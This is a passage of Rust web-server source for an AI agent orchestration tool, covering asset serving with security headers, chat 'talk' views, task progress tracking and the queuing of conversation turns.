8754 return Err(ApiError::bad_request(format!(
8755 "`{name}` is not a usable asset name"
8756 )));
8757 }
8758 blocking(move || {
8759 let id = resolve_question(&ui.questions, &id)?;
8760 let asset = ui
8761 .questions
8762 .panel_asset(&id, &name)
8763 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8764 let Some(bytes) = asset else {
8765 return Err(ApiError::not_found(format!(
8766 "question {id} has no asset `{name}`"
8767 )));
8768 };
8769 Ok(panel_response(
8770 asset_content_type(&name),
8771 is_svg(&name),
8772 bytes,
8773 ))
8774 })
8775 .await
8776}
8777
8778fn asset_content_type(name: &str) -> &'static str {
8791 match extension(name).as_deref() {
8792 Some("png") => "image/png",
8793 Some("jpg" | "jpeg") => "image/jpeg",
8794 Some("gif") => "image/gif",
8795 Some("webp") => "image/webp",
8796 Some("svg") => "image/svg+xml",
8797 Some("css") => "text/css; charset=utf-8",
8798 Some("txt") => "text/plain; charset=utf-8",
8799 _ => "application/octet-stream",
8800 }
8801}
8802
8803fn is_svg(name: &str) -> bool {
8806 extension(name).as_deref() == Some("svg")
8807}
8808
8809fn extension(name: &str) -> Option<String> {
8811 name.rsplit_once('.')
8812 .map(|(_, ext)| ext.to_ascii_lowercase())
8813}
8814
8815fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8832 let mut res = (
8833 [
8834 (header::CONTENT_TYPE, content_type),
8835 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8836 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8837 (header::REFERRER_POLICY, "no-referrer"),
8838 ],
8839 body,
8840 )
8841 .into_response();
8842 if download {
8843 res.headers_mut().insert(
8844 header::CONTENT_DISPOSITION,
8845 HeaderValue::from_static("attachment"),
8846 );
8847 }
8848 res
8849}
8850
8851#[derive(Debug, Serialize)]
8857struct ChatApproval {
8858 question: String,
8859 target: crate::merge_decision::Target,
8860}
8861
8862#[derive(Debug, Serialize)]
8863struct TalkView {
8864 #[serde(flatten)]
8865 talk: Talk,
8866 turn_bodies_md: Vec<Vec<md::Node>>,
8867 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8869 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8870 merge_approvals: Vec<ChatApproval>,
8871 thinking: bool,
8879 context: talk::ContextUsage,
8883 operator_name: Option<String>,
8886 persona_name: Option<String>,
8888 persona_avatar: String,
8891 operator_avatar: String,
8893 magi_avatar: String,
8894}
8895
8896impl TalkView {
8897 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8900 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8901 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8902 }
8903
8904 fn with_config(
8907 talk: Talk,
8908 thinking: bool,
8909 cfg: Option<&Config>,
8910 home: &FsPath,
8911 cache: &id_links::IndexCache,
8912 ) -> Self {
8913 let references = cache.for_talk(home, &talk);
8914 Self::with_references(talk, thinking, cfg, home, &references)
8915 }
8916
8917 fn with_references(
8918 mut talk: Talk,
8919 thinking: bool,
8920 cfg: Option<&Config>,
8921 home: &FsPath,
8922 references: &id_links::IdIndex,
8923 ) -> Self {
8924 let snapshot = talk.clone();
8926 for (index, turn) in talk.turns.iter_mut().enumerate() {
8927 let original = &snapshot.turns[index];
8928 if turn.messages.is_empty() {
8929 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8930 turn.messages.push(talk::Message {
8931 sender: Some(talk::Sender::Magi),
8932 body: original.body.clone(),
8933 display: Some(display),
8934 attachments: original.attachments.clone(),
8935 reply: None,
8936 });
8937 }
8938 } else {
8939 for (i, message) in turn.messages.iter_mut().enumerate() {
8940 message.display =
8941 talk::notice_display(&snapshot, original, original.messages.get(i));
8942 if message.display.is_some() {
8943 message.sender = Some(talk::Sender::Magi);
8944 }
8945 }
8946 }
8947 }
8948 for message in &mut talk.pending_messages {
8949 if message.display.is_none()
8950 && (message.sender == Some(talk::Sender::Magi)
8951 || snapshot
8952 .completion_notices
8953 .iter()
8954 .any(|r| r.notice == message.body))
8955 {
8956 message.display = crate::prompt::legacy_notice_display(&message.body);
8957 if message.display.is_some() {
8958 message.sender = Some(talk::Sender::Magi);
8959 }
8960 }
8961 }
8962 if talk.pending_messages.is_empty()
8963 && snapshot
8964 .completion_notices
8965 .iter()
8966 .any(|r| r.notice == talk.pending)
8967 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8968 {
8969 talk.pending_messages.push(talk::Message {
8970 sender: Some(talk::Sender::Magi),
8971 display: Some(display),
8972 body: talk.pending.clone(),
8973 attachments: talk.pending_attachments.clone(),
8974 reply: None,
8975 });
8976 }
8977 let excerpts: Vec<Vec<Option<String>>> = talk
8978 .turns
8979 .iter()
8980 .map(|turn| {
8981 turn.messages
8982 .iter()
8983 .map(|m| {
8984 m.display
8985 .as_ref()
8986 .map(|d| d.facts.chars().take(240).collect())
8987 })
8988 .collect()
8989 })
8990 .collect();
8991 for turn in &mut talk.turns {
8992 let provenance = talk::sender(turn, None);
8993 turn.sender = Some(provenance);
8994 for message in &mut turn.messages {
8995 message.sender = Some(message.sender.unwrap_or(provenance));
8996 }
8997 }
8998 let senders: Vec<Vec<talk::Sender>> = talk
9000 .turns
9001 .iter()
9002 .map(|turn| {
9003 if turn.messages.is_empty() {
9004 vec![talk::sender(turn, None)]
9005 } else {
9006 turn.messages
9007 .iter()
9008 .map(|m| talk::sender(turn, Some(m)))
9009 .collect()
9010 }
9011 })
9012 .collect();
9013 for reply in talk
9014 .turns
9015 .iter_mut()
9016 .flat_map(|t| t.messages.iter_mut())
9017 .chain(talk.pending_messages.iter_mut())
9018 .filter_map(|m| m.reply.as_mut())
9019 {
9020 if let Some(Some(excerpt)) = excerpts
9021 .get(reply.target.turn)
9022 .and_then(|ms| ms.get(reply.target.message))
9023 {
9024 reply.excerpt = excerpt.clone();
9025 reply.sender = Some(talk::Sender::Magi);
9026 }
9027 if reply.sender.is_none() {
9028 reply.sender = senders
9029 .get(reply.target.turn)
9030 .and_then(|messages| messages.get(reply.target.message))
9031 .copied();
9032 }
9033 }
9034 let context = talk::context_usage(&talk, cfg);
9035 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9036 .turns
9037 .iter()
9038 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9039 .collect();
9040 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9041 .turns
9042 .iter()
9043 .map(|turn| {
9044 if turn.messages.is_empty() {
9045 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9046 } else {
9047 turn.messages
9048 .iter()
9049 .map(|message| {
9050 notice_markdown(
9051 message.sender.unwrap_or(talk::Sender::Operator),
9052 &message.body,
9053 message.display.as_ref(),
9054 )
9055 })
9056 .collect()
9057 }
9058 })
9059 .collect();
9060 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9061 .pending_messages
9062 .iter()
9063 .map(|message| {
9064 notice_markdown(
9065 message.sender.unwrap_or(talk::Sender::Operator),
9066 &message.body,
9067 message.display.as_ref(),
9068 )
9069 })
9070 .collect();
9071 for nodes in &mut turn_bodies_md {
9072 references.markdown(nodes);
9073 }
9074 for nodes in turn_messages_md
9075 .iter_mut()
9076 .flatten()
9077 .chain(pending_messages_md.iter_mut())
9078 .flatten()
9079 {
9080 references.markdown(nodes);
9081 }
9082 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9083 let persona_name = persona::find(specs, &talk.persona)
9084 .filter(|p| !p.is_default())
9085 .map(|p| p.name);
9086 let mut avatar_persona = persona::find(specs, &talk.persona)
9087 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9088 if avatar_persona.id != talk.persona
9090 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9091 {
9092 avatar_persona.id.clone_from(&talk.persona);
9093 avatar_persona.icon = None;
9094 }
9095 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9096 let approvals_store = ask::Questions::at(home.join("questions"));
9097 let merge_approvals = talk
9098 .notified
9099 .iter()
9100 .filter_map(|key| key.strip_prefix("question:"))
9101 .filter_map(|id| approvals_store.get(id).ok())
9102 .filter(|q| crate::task_chat::approval_offered(&talk, q))
9103 .filter_map(|q| {
9104 Some(ChatApproval {
9105 question: q.id,
9106 target: q.merge_target?,
9107 })
9108 })
9109 .collect();
9110 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9111 Self {
9112 turn_bodies_md,
9113 turn_messages_md,
9114 pending_messages_md,
9115 merge_approvals,
9116 thinking,
9117 context,
9118 operator_name,
9119 persona_name,
9120 persona_avatar,
9121 magi_avatar: magi_icon_url(home),
9122 operator_avatar: operator_icon_url(home),
9123 talk,
9124 }
9125 }
9126}
9127
9128fn notice_markdown(
9130 sender: talk::Sender,
9131 body: &str,
9132 display: Option<&crate::prompt::NoticeDisplay>,
9133) -> Option<Vec<md::Node>> {
9134 if sender != talk::Sender::Magi {
9135 return None;
9136 }
9137 let text = if let Some(display) = display {
9138 display.facts.as_str()
9139 } else {
9140 if crate::prompt::is_completion_notice(body)
9143 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9144 {
9145 return None;
9146 }
9147 body.strip_prefix("magi: ").unwrap_or(body)
9148 };
9149 Some(md::to_nodes(text, &md::ImageBase::None))
9150}
9151
9152#[derive(Debug, Serialize)]
9157struct TalkDetailView {
9158 #[serde(flatten)]
9159 view: TalkView,
9160 tasks: Vec<TaskView>,
9161 task_progress: TalkTaskProgress,
9162 goal_link: Option<TalkGoalLink>,
9163 goal_link_for: Timestamp,
9164 roster: Vec<RosterEntry>,
9167 personas: Vec<PersonaEntry>,
9170}
9171
9172#[derive(Debug, Serialize)]
9174struct TalkTaskProgress {
9175 state: &'static str,
9176 total: usize,
9177 done: usize,
9178 counts: std::collections::BTreeMap<&'static str, usize>,
9179 unfinished_ids: Vec<String>,
9180}
9181
9182fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9183 let mut counts = std::collections::BTreeMap::from([
9184 ("queued", 0),
9185 ("running", 0),
9186 ("done", 0),
9187 ("failed", 0),
9188 ("held", 0),
9189 ("blocked", 0),
9190 ("parked", 0),
9191 ]);
9192 let mut unfinished_ids = Vec::new();
9193 for task in tasks {
9194 *counts.entry(task.status.as_str()).or_default() += 1;
9195 if task.status != TaskStatus::Done {
9196 unfinished_ids.push(task.id.clone());
9197 }
9198 }
9199 TalkTaskProgress {
9200 state: if tasks.is_empty() {
9201 "none"
9202 } else if unfinished_ids.is_empty() {
9203 "complete"
9204 } else {
9205 "incomplete"
9206 },
9207 total: tasks.len(),
9208 done: tasks.len() - unfinished_ids.len(),
9209 counts,
9210 unfinished_ids,
9211 }
9212}
9213
9214#[derive(Debug, Serialize)]
9217struct TalkGoalLink {
9218 goal: String,
9219 kind: &'static str,
9220 id: String,
9221}
9222
9223fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9224 let goal = talk
9225 .selected_goal
9226 .as_ref()
9227 .and_then(|id| talk.goals.iter().find(|goal| &goal.id == id))
9228 .or_else(|| talk.goals.last())?;
9229 for id in goal.tasks.iter().rev() {
9230 if !plain_record_id(id) {
9231 continue;
9232 }
9233 let Ok(task) = queue.get(id) else {
9234 continue;
9235 };
9236 if task.id != *id || task.repo != talk.repo {
9237 continue;
9238 }
9239 if let Some(run) = task.execution_runs().last()
9242 && plain_record_id(run)
9243 && read_run(runs, run).is_ok_and(|state| state.id == *run && state.repo == talk.repo)
9244 {
9245 return Some(TalkGoalLink {
9246 goal: goal.id.clone(),
9247 kind: "run",
9248 id: run.clone(),
9249 });
9250 }
9251 return Some(TalkGoalLink {
9252 goal: goal.id.clone(),
9253 kind: "task",
9254 id: task.id,
9255 });
9256 }
9257 for id in goal.runs.iter().rev() {
9258 if plain_record_id(id)
9259 && read_run(runs, id).is_ok_and(|state| state.id == *id && state.repo == talk.repo)
9260 {
9261 return Some(TalkGoalLink {
9262 goal: goal.id.clone(),
9263 kind: "run",
9264 id: id.clone(),
9265 });
9266 }
9267 }
9268 None
9269}
9270
9271#[derive(Debug, Serialize)]
9273struct PersonaEntry {
9274 id: String,
9275 name: String,
9276 avatar: String,
9278}
9279
9280#[derive(Debug, Serialize)]
9282struct RosterEntry {
9283 id: String,
9284 kind: AgentKind,
9285 runnable: bool,
9287}
9288
9289async fn talks_list(
9291 State(ui): State<Arc<Ui>>,
9292 Query(q): Query<ListQuery>,
9293 headers: header::HeaderMap,
9294) -> ApiResult<Json<Vec<TalkListView>>> {
9295 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9296 let limit = q.limit.unwrap_or(50).min(50);
9297 let ids = if let Some(ids) = q.ids {
9298 ids.split(',')
9299 .filter(|id| plain_record_id(id))
9300 .take(limit)
9301 .map(str::to_owned)
9302 .collect()
9303 } else {
9304 page_ids(&ui, true, PageQuery::default())?
9305 .0
9306 .into_iter()
9307 .take(limit.min(STORE_PAGE_SIZE))
9308 .collect()
9309 };
9310 Ok(Json(talk_rows(&ui, ids, &headers)))
9311 })
9312 .await
9313}
9314
9315#[derive(Debug, Default, Deserialize)]
9320#[serde(default)]
9321struct NewTalk {
9322 agent: Option<String>,
9323 repo: Option<PathBuf>,
9324 preferred_agent: Option<serde_json::Value>,
9328 persona: Option<serde_json::Value>,
9329 implementers: Option<serde_json::Value>,
9330}
9331
9332async fn talk_post(
9335 State(ui): State<Arc<Ui>>,
9336 body: std::result::Result<Json<NewTalk>, JsonRejection>,
9337) -> ApiResult<impl IntoResponse> {
9338 let body = match body {
9342 Ok(Json(body)) => body,
9343 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9344 Err(e) => return Err(ApiError::bad_request(e.body_text())),
9345 };
9346 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9347 let cfg = config_for(&repo).await?;
9348 let view = blocking(move || {
9349 let preferred = talk::Preferred {
9350 agent: body
9351 .preferred_agent
9352 .as_ref()
9353 .and_then(|v| v.as_str())
9354 .map(str::to_owned),
9355 persona: body
9356 .persona
9357 .as_ref()
9358 .and_then(|v| v.as_str())
9359 .map(str::to_owned),
9360 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9361 };
9362 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9363 let thinking = ui.is_thinking(&talk.id);
9364 Ok(TalkView::new(talk, thinking, &ui))
9365 })
9366 .await?;
9367 Ok((StatusCode::CREATED, Json(view)))
9368}
9369
9370async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9372 bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9374 let id = resolve_talk(&ui.talks, &id)?;
9375 let talk = ui.talks.get(&id)?;
9376 let thinking = ui.is_thinking_observed(&id);
9377 Ok(Json(TalkView::with_references(
9380 talk,
9381 thinking,
9382 None,
9383 &ui.home,
9384 &id_links::IdIndex::default(),
9385 )))
9386 })
9387 .await
9388}
9389
9390async fn talk_sections(
9391 State(ui): State<Arc<Ui>>,
9392 Path(id): Path<String>,
9393) -> ApiResult<Json<serde_json::Value>> {
9394 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9395 let id = resolve_talk(&ui.talks, &id)?;
9396 let talk = ui.talks.get(&id)?;
9397 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9398 let task_progress = talk_task_progress(&tasks);
9399 let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9400 let tasks: Vec<_> = tasks
9401 .into_iter()
9402 .map(|task| {
9403 serde_json::json!({
9404 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9405 })
9406 })
9407 .collect();
9408 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9409 let roster: Vec<_> = cfg
9410 .as_ref()
9411 .map(|cfg| {
9412 cfg.agents
9413 .iter()
9414 .map(|a| RosterEntry {
9415 id: a.id.clone(),
9416 kind: a.kind,
9417 runnable: agent::installed(a),
9418 })
9419 .collect()
9420 })
9421 .unwrap_or_default();
9422 let specs = cfg
9423 .as_ref()
9424 .map(|cfg| cfg.talk.personas.clone())
9425 .unwrap_or_default();
9426 let personas: Vec<_> = persona::catalog(&specs)
9427 .into_iter()
9428 .map(|p| PersonaEntry {
9429 avatar: avatar_url(&ui.home, &talk.id, &p),
9430 id: p.id,
9431 name: p.name,
9432 })
9433 .collect();
9434 let active_persona = persona::find(&specs, &talk.persona)
9435 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9436 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9437 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9438 Ok(Json(serde_json::json!({
9439 "tasks": tasks, "task_progress": task_progress,
9440 "goal_link": goal_link, "goal_link_for": talk.updated_at,
9441 "roster": roster, "personas": personas,
9442 "context": talk::context_usage(&talk, cfg.as_ref()),
9443 "context_for": talk.updated_at,
9444 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9445 "persona_name": persona_name,
9446 "persona_avatar": persona_avatar,
9447 })))
9448 })
9449 .await
9450}
9451
9452async fn talk_detail(
9454 State(ui): State<Arc<Ui>>,
9455 Path(id): Path<String>,
9456) -> ApiResult<Json<TalkDetailView>> {
9457 blocking(move || {
9458 let id = resolve_talk(&ui.talks, &id)?;
9459 let talk = ui.talks.get(&id)?;
9460 let thinking = ui.is_thinking_observed(&talk.id);
9461 let tasks = ui.find_tasks_for_talk(&talk.id)?;
9462 let task_progress = talk_task_progress(&tasks);
9463 let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9464 let goal_link_for = talk.updated_at;
9465 let tasks = tasks.into_iter().map(TaskView::from).collect();
9466 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9467 let roster = cfg
9468 .as_ref()
9469 .map(|cfg| {
9470 cfg.agents
9471 .iter()
9472 .map(|a| RosterEntry {
9473 id: a.id.clone(),
9474 kind: a.kind,
9475 runnable: agent::installed(a),
9476 })
9477 .collect()
9478 })
9479 .unwrap_or_default();
9480 let specs = cfg
9481 .as_ref()
9482 .map(|cfg| cfg.talk.personas.clone())
9483 .unwrap_or_default();
9484 let personas = persona::catalog(&specs)
9485 .into_iter()
9486 .map(|p| PersonaEntry {
9487 avatar: avatar_url(&ui.home, &talk.id, &p),
9488 id: p.id,
9489 name: p.name,
9490 })
9491 .collect();
9492 Ok(Json(TalkDetailView {
9493 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9494 tasks,
9495 task_progress,
9496 goal_link,
9497 goal_link_for,
9498 roster,
9499 personas,
9500 }))
9501 })
9502 .await
9503}
9504
9505#[derive(Debug, Default, Deserialize)]
9511#[serde(default, deny_unknown_fields)]
9512struct NewTalkTurn {
9513 reply_to: Option<talk::ReplyTarget>,
9514 text: String,
9515 attachments: Vec<String>,
9516}
9517
9518#[derive(Debug, Deserialize)]
9519#[serde(deny_unknown_fields)]
9520struct EditTalkPending {
9521 #[serde(default)]
9522 message: Option<usize>,
9523 text: String,
9524 expected_text: String,
9525 expected_attachments: Vec<String>,
9526}
9527
9528#[derive(Debug, Deserialize)]
9529#[serde(deny_unknown_fields)]
9530struct ClearTalkPending {
9531 expected_text: String,
9532 expected_attachments: Vec<String>,
9533}
9534
9535async fn talk_say(
9547 State(ui): State<Arc<Ui>>,
9548 Path(id): Path<String>,
9549 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9550) -> ApiResult<(StatusCode, Json<TalkView>)> {
9551 let admission = ui.begin_admission()?;
9552 admitted(admission, async move {
9553 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9554 if body.text.trim().is_empty() && body.attachments.is_empty() {
9555 return Err(ApiError::bad_request("say something"));
9556 }
9557
9558 let id = {
9559 let ui = Arc::clone(&ui);
9560 let asked = id.clone();
9561 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9562 };
9563 {
9567 let ui = Arc::clone(&ui);
9568 let id = id.clone();
9569 blocking(move || {
9570 let talk = ui.talks.get(&id)?;
9571 if !talk.status.open() {
9572 return Err(ApiError::conflict(format!(
9573 "talk {} is {} and takes no more turns",
9574 talk.short(),
9575 talk.status.as_str()
9576 )));
9577 }
9578 Ok(())
9579 })
9580 .await?;
9581 }
9582
9583 let attachments = {
9588 let ui = Arc::clone(&ui);
9589 let id = id.clone();
9590 let ids = body.attachments.clone();
9591 blocking(move || {
9592 ids.into_iter()
9593 .map(|att_id| {
9594 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9595 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9596 })
9597 })
9598 .collect::<ApiResult<Vec<talk::Attachment>>>()
9599 })
9600 .await?
9601 };
9602 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9603 .await.map_err(ApiError::from)?;
9604
9605 let start = {
9610 let ui = Arc::clone(&ui);
9611 let id = id.clone();
9612 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9613 };
9614 let turn_guard = match start {
9615 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9616 TalkTurnStart::Pending => {
9617 return Err(ApiError::conflict(
9618 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9619 ));
9620 }
9621 TalkTurnStart::Foreign => {
9622 return Err(ApiError::conflict(
9623 "a turn is already running in another process; try again when it has finished",
9624 ));
9625 }
9626 TalkTurnStart::Busy => {
9627 let (tx, rx) = tokio::sync::oneshot::channel();
9643 tokio::spawn({
9644 let ui = Arc::clone(&ui);
9645 let id = id.clone();
9646 let said = body.text.clone();
9647 let reply_to = body.reply_to.clone();
9648 async move {
9649 let written = blocking({
9650 let ui = Arc::clone(&ui);
9651 let id = id.clone();
9652 move || {
9653 let mut talk = ui.talks.get(&id)?;
9654 #[cfg(test)]
9659 if let Some(gate) = ui
9660 .busy_queue_gate
9661 .lock()
9662 .unwrap_or_else(PoisonError::into_inner)
9663 .take()
9664 {
9665 let _ = gate.reached.send(());
9666 let _ = gate.release.recv();
9667 }
9668 if let Err(error) = talk::queue_reply(
9669 &mut talk,
9670 &ui.talks,
9671 &said,
9672 attachments,
9673 reply_to,
9674 ) {
9675 if let Ok(fresh) = ui.talks.get(&id) {
9676 if !fresh.status.open() {
9677 return Err(ApiError::conflict(format!(
9678 "talk {} is {} and takes no more turns",
9679 fresh.short(),
9680 fresh.status.as_str()
9681 )));
9682 }
9683 }
9684 return Err(
9685 if error.to_string().contains("invalid reply target") {
9686 ApiError::bad_request("invalid reply target")
9687 } else {
9688 ApiError::from(error)
9689 },
9690 );
9691 }
9692 let claim = match ui.begin_queued_talk_turn(&id)? {
9703 Some(turn_guard) => {
9704 let (cfg, _) = Config::discover(&talk.repo, None)?;
9705 Some((talk.clone(), cfg, turn_guard))
9706 }
9707 None => None,
9708 };
9709 let thinking = ui.is_thinking(&id);
9710 Ok((TalkView::new(talk, thinking, &ui), claim))
9711 }
9712 })
9713 .await;
9714 #[cfg(not(test))]
9715 {
9716 match written {
9717 Ok((view, reclaimed)) => {
9718 let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9719 drop(reclaimed);
9720 match launched {
9721 Ok(_) => { let _ = tx.send(Ok(view)); }
9722 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9723 }
9724 }
9725 Err(error) => { let _ = tx.send(Err(error)); }
9726 }
9727 }
9728 #[cfg(test)]
9729 {
9730 let (view, reclaimed) = match written {
9731 Ok(pair) => pair,
9732 Err(e) => {
9733 let _ = tx.send(Err(e));
9738 return;
9739 }
9740 };
9741 let _ = tx.send(Ok(view));
9744 if let Some((talk, cfg, turn_guard)) = reclaimed {
9745 let talks = ui.talks.clone();
9746 drain_loop(talk, talks, cfg, id, turn_guard).await;
9747 }
9748 }
9749 }
9750 });
9751 let view = rx
9752 .await
9753 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9754 return Ok((StatusCode::ACCEPTED, Json(view)));
9755 }
9756 };
9757
9758 let (talk, cfg) = {
9759 let ui = Arc::clone(&ui);
9760 let id = id.clone();
9761 blocking(move || {
9762 let talk = ui.talks.get(&id)?;
9763 let (cfg, _) = Config::discover(&talk.repo, None)?;
9764 Ok((talk, cfg))
9765 })
9766 .await?
9767 };
9768
9769 let talks = ui.talks.clone();
9770 let (tx, rx) = tokio::sync::oneshot::channel();
9785 tokio::spawn({
9786 #[cfg(test)]
9787 let ui = Arc::clone(&ui);
9788 let talks = talks.clone();
9789 let id = id.clone();
9790 let said = body.text.clone();
9791 let reply_to = body.reply_to.clone();
9792 let mut talk = talk.clone();
9793 async move {
9794 let recorded = blocking({
9795 let talks = talks.clone();
9796 move || {
9797 if let Err(error) =
9798 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9799 {
9800 if let Ok(fresh) = talks.get(&talk.id) {
9801 if !fresh.status.open() {
9802 return Err(ApiError::conflict(format!(
9803 "talk {} is {} and takes no more turns",
9804 fresh.short(),
9805 fresh.status.as_str()
9806 )));
9807 }
9808 }
9809 return Err(if error.to_string().contains("invalid reply target") {
9810 ApiError::bad_request("invalid reply target")
9811 } else {
9812 ApiError::from(error)
9813 });
9814 }
9815 Ok((said.trim().to_owned(), talk))
9821 }
9822 })
9823 .await;
9824 let (text, talk) = match recorded {
9825 Ok(pair) => pair,
9826 Err(e) => {
9827 let _ = tx.send(Err(e));
9831 return;
9832 }
9833 };
9834 #[cfg(not(test))]
9835 {
9836 let _ = (&cfg, &text);
9837 let result = crate::chat_worker::spawn_recorded_turn(
9841 &talks, &id, talk.turns.len() - 1,
9842 ).await;
9843 drop(turn_guard);
9844 match result {
9845 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9846 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9847 }
9848 }
9849 #[cfg(test)]
9850 {
9851 let queued = talk.clone();
9852 let mut talk = talk;
9853 let thinking = ui.is_thinking(&id);
9854 let _ = tx.send(Ok((queued, thinking)));
9857
9858 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9859 tracing::warn!("talk {id} turn failed: {e:#}");
9863 }
9864 drain_loop(talk, talks, cfg, id, turn_guard).await;
9867 }
9868 }
9869 });
9870
9871 let (queued, thinking) = rx
9872 .await
9873 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9874
9875 Ok((
9877 StatusCode::ACCEPTED,
9878 Json(TalkView::new(queued, thinking, &ui)),
9879 ))
9880 }).await
9881}
9882
9883async fn talk_pending_resume(
9887 State(ui): State<Arc<Ui>>,
9888 Path(id): Path<String>,
9889) -> ApiResult<(StatusCode, Json<TalkView>)> {
9890 let admission = ui.begin_admission()?;
9891 admitted(admission, async move {
9892 let id = {
9893 let ui = Arc::clone(&ui);
9894 let asked = id.clone();
9895 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9896 };
9897 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9898 .await
9899 .map_err(ApiError::from)?;
9900 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9901 return Err(ApiError::conflict(
9902 "a talk turn is already running; the queued draft will be handled by it",
9903 ));
9904 };
9905 let (talk, cfg) = {
9906 let ui = Arc::clone(&ui);
9907 let id = id.clone();
9908 blocking(move || {
9909 let talk = ui.talks.get(&id)?;
9910 if !talk.status.open() {
9911 return Err(ApiError::conflict(format!(
9912 "talk {} is {} and takes no more turns",
9913 talk.short(),
9914 talk.status.as_str()
9915 )));
9916 }
9917 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9918 return Err(ApiError::conflict("there is no queued draft to resume"));
9919 }
9920 let (cfg, _) = Config::discover(&talk.repo, None)?;
9921 Ok((talk, cfg))
9922 })
9923 .await?
9924 };
9925 let view = TalkView::new(talk.clone(), true, &ui);
9926 let talks = ui.talks.clone();
9927 #[cfg(not(test))]
9928 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9929 #[cfg(test)]
9930 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9931 Ok((StatusCode::ACCEPTED, Json(view)))
9932 })
9933 .await
9934}
9935
9936#[cfg(not(test))]
9939async fn detach_talk_turn(
9940 _talk: Talk,
9941 talks: Talks,
9942 _cfg: Config,
9943 id: String,
9944 turn: TalkTurnGuard,
9945) -> ApiResult<()> {
9946 let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9947 drop(turn);
9948 launched.map(|_| ()).map_err(ApiError::from)
9949}
9950
9951#[cfg(test)]
9952async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9953 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9954}
9955
9956async fn settle_settings_turn(
9960 talk: Talk,
9961 talks: Talks,
9962 cfg: Config,
9963 id: String,
9964 turn: TalkTurnGuard,
9965 observed: u64,
9966) -> bool {
9967 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9968 let turns = Arc::clone(&turn.turns);
9969 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9970 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9971 turn.release(&mut live);
9973 return false;
9974 }
9975 }
9976 let (started, settled) = tokio::sync::oneshot::channel();
9977 tokio::spawn(drain_loop_started(
9978 talk,
9979 talks,
9980 cfg,
9981 id,
9982 turn,
9983 Some(started),
9984 ));
9985 settled.await.unwrap_or(false)
9986}
9987
9988#[cfg(not(test))]
9989async fn drain_loop_started(
9990 talk: Talk,
9991 talks: Talks,
9992 _cfg: Config,
9993 id: String,
